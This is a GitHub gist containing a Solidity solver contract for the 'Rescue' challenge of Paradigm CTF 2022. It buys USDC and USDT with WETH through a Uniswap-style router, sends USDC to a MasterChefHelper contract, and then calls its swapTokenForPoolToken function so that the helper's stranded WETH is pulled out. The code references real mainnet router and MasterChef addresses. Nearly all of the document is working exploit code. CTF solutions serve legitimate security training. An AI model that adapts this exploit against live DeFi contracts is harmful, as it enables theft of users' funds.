Skip to content

Instantly share code, notes, and snippets.

@KaoRz
Created August 22, 2022 00:26
Show Gist options
  • Save KaoRz/68816bd27e6f714c25b00ec3f7af79a2 to your computer and use it in GitHub Desktop.
Save KaoRz/68816bd27e6f714c25b00ec3f7af79a2 to your computer and use it in GitHub Desktop.
Rescue - Paradigm CTF 2022
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.16;
import "chall/Setup.sol";
contract Solver {
MasterChefLike public constant masterchef = MasterChefLike(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd);
UniswapV2RouterLike public constant router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
MasterChefHelper private mch_ctr;
Setup private setup_ctr;
WETH9 private weth;
constructor(address setup_addr) {
setup_ctr = Setup(setup_addr);
mch_ctr = MasterChefHelper(setup_ctr.mcHelper());
weth = WETH9(setup_ctr.weth());
}
function solveChallenge() public payable {
require(msg.value >= 12 ether, "Not enough ether (12 ETH required)");
// Get USDC/WETH token addresses
(address lpToken,,,) = masterchef.poolInfo(1);
address tokenUSDC = UniswapV2PairLike(lpToken).token0();
address tokenWETH = UniswapV2PairLike(lpToken).token1();
require(tokenWETH == address(weth), "WETH token addresses must be equal (1)");
// Get some WETH
weth.deposit{value: 12 ether}();
// Trade WETH --> USDC
weth.approve(address(router), 12 ether);
_swap(tokenWETH, tokenUSDC, 11 ether);
// Transfer USDC to MasterChefHelper
ERC20Like(tokenUSDC).transfer(
address(mch_ctr),
ERC20Like(tokenUSDC).balanceOf(address(this))
);
// Trade WETH --> USDT
(lpToken,,,) = masterchef.poolInfo(0);
tokenWETH = UniswapV2PairLike(lpToken).token0();
address tokenUSDT = UniswapV2PairLike(lpToken).token1();
require(tokenWETH == address(weth), "WETH token addresses must be equal (2)");
_swap(tokenWETH, tokenUSDT, 1 ether);
// Trade USDT --> Pool Token (USDC/WETH)
ERC20Like(tokenUSDT).approve(
address(mch_ctr),
ERC20Like(tokenUSDT).balanceOf(address(this))
);
mch_ctr.swapTokenForPoolToken(
1,
address(tokenUSDT),
ERC20Like(tokenUSDT).balanceOf(address(this)),
0
);
require(setup_ctr.isSolved() == true, "Not solved");
}
function _swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
address[] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
router.swapExactTokensForTokens(
amountIn,
0,
path,
address(this),
block.timestamp
);
}
function searchPool(address _addr) public view returns (uint256) {
uint256 poolId = 0;
address lpToken;
for (; lpToken != _addr; poolId++)
(lpToken,,,) = masterchef.poolInfo(poolId);
return poolId;
}
function getWETH() public view returns (uint256) {
return weth.balanceOf(address(mch_ctr));
}
function getTokens(uint256 poolId) public view returns (address, address) {
(address lpToken,,,) = masterchef.poolInfo(poolId);
address tokenA = UniswapV2PairLike(lpToken).token0();
address tokenB = UniswapV2PairLike(lpToken).token1();
return (tokenA, tokenB);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment